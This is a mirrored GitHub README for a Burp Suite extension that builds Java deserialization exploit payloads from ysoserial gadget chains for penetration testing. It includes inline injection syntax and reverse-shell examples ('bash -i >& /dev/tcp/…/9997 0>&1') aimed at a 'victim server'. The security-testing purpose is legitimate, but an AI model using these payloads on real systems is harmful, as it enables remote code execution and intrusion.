GithubHelp home page GithubHelp logo

portswigger / java-serialized-payloads Goto Github PK

View Code? Open in Web Editor NEW

This project forked from summitt/burp-ysoserial

40.0 3.0 8.0 726 KB

YSOSERIAL Integration with burp suite

Java 96.77% HTML 3.23%

java-serialized-payloads's Introduction

burp-ysoserial - with complex command in injection support

Download the jar file here: ysoserial.jar

There are 3 ways to run this Burp extension.

  1. Generate a payload from the Java Serialized Payloads Tab. You can then copy and paste it into other tabs in Burp.(Not ideal)
  2. Generate a payload from the Java Serialized Payloads Tab. In another tab you can select the text you want to replace and right click. You have 3 options to replace.
  3. Raw - This will replace your selected text with an unencoded version of the payload. This is raw binary/hex.
  4. B64 - This payload will replace your selected text with a base64 encoded version.
  5. URLEnc - This will replace your selected text with a URL encoded and base64 encoded payload. Ideal for web type applications
  6. You can use inline commands to replace your text with a payload that contains your command. For example you can enter text in repeater like:

$(CC1|ping -c1 8.8.8.8)

Select the above text and right click any of the Java Serialized Payload Options and it will replace your command with a payload containing that command.

The first parameter before the pipe in the above statement is the version of the exploit. You can enter any of the following:

  • CC1 or CollectionCommons1
  • CC2 or CollectionCommons2
  • GV1 or Groovy1
  • SP1 or Spring1

The second parameter is obviously the OS command you wish to run.

Complex Commands (i.e. pipes and I/O redirection)

Note ysoserial in this extension has been updated to accept more complicated commands that in the original. For instance commands like the following command would fail to execute on the victim server in the original ysoserial application.

echo test > /tmp/text.txt or bash -c "echo test > /tmp/text.txt"

This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array. Here is an example of running a more complicated command using this method to get a reverse shell:

/bin/bash,,-c,,bash -i >& /dev/tcp/X.X.X.X/9997 0>&1

The above code will be split into a string array that java can run on the victim server. :) The resulting java code would look like: Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/X.X.X.X/9997 0>&1"});

##Examples

Example 1 - Replace selected text with a pre-generated payload

  1. First Generate a payload Payload Generator
  2. Go to Repeater and select the text you want to replace.
  3. Right Click and select a payload option. Payload Generator

Example 2 - Use and inline command

  1. In Burp Repeater replace your parameter with the following code:

$(CC1|ping -c1 8.8.8.8)

  1. Select the above text. Right Click in repeater and select the payload type. Payload Generator

Example 3 - Complex commands

  1. In Repeater replace your parameter with the following command:

$(CC1|/bin/bash,,-c,,bash -i >& /dev/tcp/192.168.1.223/9997 0>&1)

  1. Select it and select the payload you want to generate. Payload Generator

java-serialized-payloads's People

Contributors

ahri avatar dstuttard avatar hannah-portswigger avatar mike-smith-ps avatar portswiggersupport avatar summitt avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.